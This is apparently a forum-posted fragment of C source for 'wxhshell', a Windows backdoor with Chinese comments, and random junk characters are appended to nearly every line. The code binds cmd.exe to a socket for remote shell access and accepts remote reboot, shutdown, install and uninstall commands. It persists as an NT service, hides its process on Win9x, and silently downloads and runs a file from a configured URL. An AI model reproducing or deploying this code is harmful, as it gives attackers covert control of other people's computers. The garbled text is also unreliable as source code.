  send(wsh,msg_ws_err,strlen(msg_ws_err),0); oN[}i6^,e  
  else O\ _ro.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `<|tC#<z  
  } bf@g*~h@  
  else { Y6&v&dA;  
4BUG\~eI3  
    switch(cmd[0]) { ?Wz2J3A.2t  
  v$0|\)E)  
  // 帮助 "{r8'qn  
  case '?': { 9tU"+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O Bcz'f~  
    break; ]E-3/r$_cO  
  } xxyc^\$  
  // 安装 $cK}Tl q  
  case 'i': { mZ2CG O R  
    if(Install()) :{N*Z}]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wgIm{;T[u  
    else #Lpw8b6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >I0;MNX  
    break; %VFoK-a  
    } ;-8.~Sm  
  // 卸载 dVYY:1PS  
  case 'r': { ,@c1X:  
    if(Uninstall()) *1Bq>h:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1Xo0(*O  
    else (D%vN&F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kmc_%Wm}  
    break; ~h_ _Y>  
    } &BLCP d  
  // 显示 wxhshell 所在路径 J}&Us p  
  case 'p': { y~\ujp_5w  
    char svExeFile[MAX_PATH]; U+qyS|i  
    strcpy(svExeFile,"\n\r");  {ibu 0  
      strcat(svExeFile,ExeFile); McN[  
        send(wsh,svExeFile,strlen(svExeFile),0); r}&&e BY f  
    break; =]]1x_GB  
    } *d jLf.I@  
  // 重启 pHmqwB~|  
  case 'b': { XrM+DQ;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Gn=b_!  
    if(Boot(REBOOT)) !p/SX>NJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i_Hm?Bi!F  
    else { { PX&#,_  
    closesocket(wsh); m=sEB8P  
    ExitThread(0); {h|<qfH  
    } Et!J*{s  
    break; &n;*'M  
    } eJTU'aX*   
  // 关机 A[uE#T ^  
  case 'd': { :Bmn<2[Y;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [:{ FR2*x  
    if(Boot(SHUTDOWN)) ,IyQmN y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ( ne[a2%>  
    else { {iX#  
    closesocket(wsh); F$)l8}  
    ExitThread(0); 72d|Jbd  
    } &RYdSXM  
    break; V\Gs&>  
    } @JXpD8jn  
  // 获取shell O\.^H/  
  case 's': { UP^8Yhdo  
    CmdShell(wsh); !{r2`d09n)  
    closesocket(wsh); _i {Y0d+  
    ExitThread(0); zawu(3?~)5  
    break;  Rpgg :  
  } sJ|pR=g)!  
  // 退出 <4LJ #Fx  
  case 'x': { z )'9[t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h40;Q<D  
    CloseIt(wsh); sko7,&  
    break; ,)Q-o2(C  
    } a$|U4Eqo  
  // 离开 EW*sTI3  
  case 'q': { v1 8<~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #vBrRHuA#"  
    closesocket(wsh); n#g_)\  
    WSACleanup(); ;.uYWP|9  
    exit(1); #+1|O;PB#  
    break; 3/`BK{  
        } (p{%]M  
  } ).;{'8Q  
  } i"}z9Ae~.  
]0."{^ksL  
  // 提示信息 uK@d?u!`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ob/)f)!!  
} y017 B<Ou  
  } -*' ?D@l  
]UkH}Pt'3  
  return; ~D9Cu>d9  
} &^"Ru?MK  
3W7^,ir  
// shell模块句柄 QMBT8x/+_'  
int CmdShell(SOCKET sock) KkZx6A)$u  
{ iSCkV2  
STARTUPINFO si; `-uE(qp  
ZeroMemory(&si,sizeof(si)); ^wolY0p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S/XU4i:aV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; aDdGhB  
PROCESS_INFORMATION ProcessInfo; @}H u)HO  
char cmdline[]="cmd"; D!~ Y"4<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); btuG%D{a^  
  return 0; Bib<ySCre  
} i]r(VKX  
)$:1e)d  
// 自身启动模式 8X7??f1;Y  
int StartFromService(void) $\BYN=#  
{ Rlewp8?LB  
typedef struct <2U@O` gC  
{ {KWVPeh  
  DWORD ExitStatus; 6Cj7 =|L7  
  DWORD PebBaseAddress; t Ly:F*1i  
  DWORD AffinityMask; ^xa, r#N:V  
  DWORD BasePriority; @q'kKVJs  
  ULONG UniqueProcessId; syR"p,3EC  
  ULONG InheritedFromUniqueProcessId; RE;A 0E_3  
}   PROCESS_BASIC_INFORMATION; P+j=]Yg  
}*6BaB  
PROCNTQSIP NtQueryInformationProcess; =IC.FT}  
KQPu9f9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @PvO;]]%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o^@"eG$,  
'GJB9i+a^  
  HANDLE             hProcess; \C3I6Qx  
  PROCESS_BASIC_INFORMATION pbi; XYo,5-  
!kE5]<H\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5!F;|*vC8  
  if(NULL == hInst ) return 0; E%`J =C}  
p/<DR |  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]lC%HlID  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '3b\d:hN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r"dIB@  
]W5*R07  
  if (!NtQueryInformationProcess) return 0; 7'IIB1v.\  
XZIapT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '|IcL1c=I  
  if(!hProcess) return 0; l ;:IL\*1I  
}Z"iW/?"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (t-hi8"  
f)*"X[)o  
  CloseHandle(hProcess); 6YM X7G]  
iqDyE*a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }Ja-0v)Wf  
if(hProcess==NULL) return 0; efQ8jO  
@)U.Dbm  
HMODULE hMod; U>PZ3  
char procName[255]; kG>jb!e@(  
unsigned long cbNeeded; BmX'%5ho  
a#j,0FKv  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); IIR+qJ__|  
+Y 7M7  
  CloseHandle(hProcess); 7_\sx7h{3  
-%` ~3*L  
if(strstr(procName,"services")) return 1; // 以服务启动 w jkh*Y  
^~H}N$W"-q  
  return 0; // 注册表启动 eg;7BZim{  
} Fv~lasW[  
_RIU,uJs  
// 主模块 !J7`frv"(  
int StartWxhshell(LPSTR lpCmdLine) z(\a JW  
{ aoN\n]g  
  SOCKET wsl; fUjo',<s  
BOOL val=TRUE; fB$a )~  
  int port=0; !zE{`H a~  
  struct sockaddr_in door; Q VTL}AT2:  
;_cTrjMv\  
  if(wscfg.ws_autoins) Install(); [inlxJD  
>-MnB  
port=atoi(lpCmdLine); WN'AQ~qA  
T)mQ+&|  
if(port<=0) port=wscfg.ws_port; g"P%sA/E+  
o'DtW#F  
  WSADATA data;  vywB{%p  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZexC3LD"  
cI2Ps3~"Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o+1 (N#?m9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M/<ypJ  
  door.sin_family = AF_INET; jR/Gd01)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w5m /[Z  
  door.sin_port = htons(port); f]NLR>$L}  
8oX1 F(R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9\_s&p=:.  
closesocket(wsl); Clum m@z;#  
return 1; P =X]'m_B  
} $Z G&d  
(kxS0 ]=  
  if(listen(wsl,2) == INVALID_SOCKET) { o,rF15  
closesocket(wsl); KR?;7*qF  
return 1; (K[{X0T  
} 9<Pg2#*N0  
  Wxhshell(wsl); ^N={4'G)  
  WSACleanup(); o[!'JUxZ  
geG0F}oC!  
return 0; Xw4Eti._D  
*?m)VvR>|  
} X/4CXtX^  
oXG_6E!^  
// 以NT服务方式启动 `jE[Xt"@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .Pm5nS  
{ UXct+l  
DWORD   status = 0; .\XRkr'-  
  DWORD   specificError = 0xfffffff; ]K(a32VCH  
Ub3$`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lM\dK)p21O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; WESD^FK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bsQ'kBD  
  serviceStatus.dwWin32ExitCode     = 0; NljpkeX'  
  serviceStatus.dwServiceSpecificExitCode = 0; HJl?@& l/  
  serviceStatus.dwCheckPoint       = 0; 5sY $  
  serviceStatus.dwWaitHint       = 0; ]KFh 1  
[5P-K{Ko  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hY4#4A`I  
  if (hServiceStatusHandle==0) return; wC{sP"D  
H:(B^uH  
status = GetLastError(); M1Q&)am  
  if (status!=NO_ERROR) 45JL{YRN  
{ *Dg@fxCQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Wg}KQ6 6  
    serviceStatus.dwCheckPoint       = 0; j e\!0{  
    serviceStatus.dwWaitHint       = 0; pf8'xdExH)  
    serviceStatus.dwWin32ExitCode     = status; [E9iuym  
    serviceStatus.dwServiceSpecificExitCode = specificError; _`?0w#> 0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :qo[@x{  
    return; tiZ H;t';<  
  } \:m~ +o$<-  
c^W;p2^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q-z1ElrN7u  
  serviceStatus.dwCheckPoint       = 0; ?AFb&  
  serviceStatus.dwWaitHint       = 0; ?\\wLZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8-G )lyfj  
} Q6(~VvC-  
=Z+^n ?"  
// 处理NT服务事件,比如:启动、停止 2O kID WcM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !~E/Rp  
{ IOFXkpK R  
switch(fdwControl) V6merT79  
{ ci;2XLAM  
case SERVICE_CONTROL_STOP: mP^B2"|q  
  serviceStatus.dwWin32ExitCode = 0; #eJfwc1JY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?xaUWD  
  serviceStatus.dwCheckPoint   = 0; (U 'n1s/X  
  serviceStatus.dwWaitHint     = 0; E]#;K-j  
  { ~ikp'5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +`F(wk["m  
  } K\-N'M!Z  
  return; v6)QLp  
case SERVICE_CONTROL_PAUSE: xsZN@hT  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wiI@DJ>E  
  break; ^y>V-R/N  
case SERVICE_CONTROL_CONTINUE: g=td*S  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; M{L<aYe  
  break; 0L>3 i8'  
case SERVICE_CONTROL_INTERROGATE: @ 51!3jeu  
  break; H r:*p6  
}; `ulQ C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `v?hL~  
} ho>@ $9  
!8p>4|VM  
// 标准应用程序主函数 s`x2Go  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e,s  S.  
{ #. Dl1L/  
e,OXngC  
// 获取操作系统版本 r8(oTx  
OsIsNt=GetOsVer(); 3Y P! B=  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  C6gSj1  
OXLB{|hH80  
  // 从命令行安装 2]fTDKh  
  if(strpbrk(lpCmdLine,"iI")) Install(); tM5(&cQ!d  
z 4}"oQk:r  
  // 下载执行文件 *$7^.eHfdd  
if(wscfg.ws_downexe) { }6l:'nW  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E zcch1  
  WinExec(wscfg.ws_filenam,SW_HIDE); "*zDb|v  
} Q^{TcL8  
g(P7CX+y  
if(!OsIsNt) { /,I?"&FWc  
// 如果时win9x,隐藏进程并且设置为注册表启动 u4lM>(3Y}  
HideProc(); *c#DB{N  
StartWxhshell(lpCmdLine); |e8A)xM]wC  
} (U5XB [r_P  
else ZvuY] =^3  
  if(StartFromService()) 5^uX!_ r`  
  // 以服务方式启动 _U}|Le@ e  
  StartServiceCtrlDispatcher(DispatchTable); 5{-Hg[+9  
else dtuCA"D  
  // 普通方式启动 .;?ha'  
  StartWxhshell(lpCmdLine); og$dv 23  
igOX0  
return 0; _U*R_2aV  
}
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只看该作者 1 发表于: 2006-10-10
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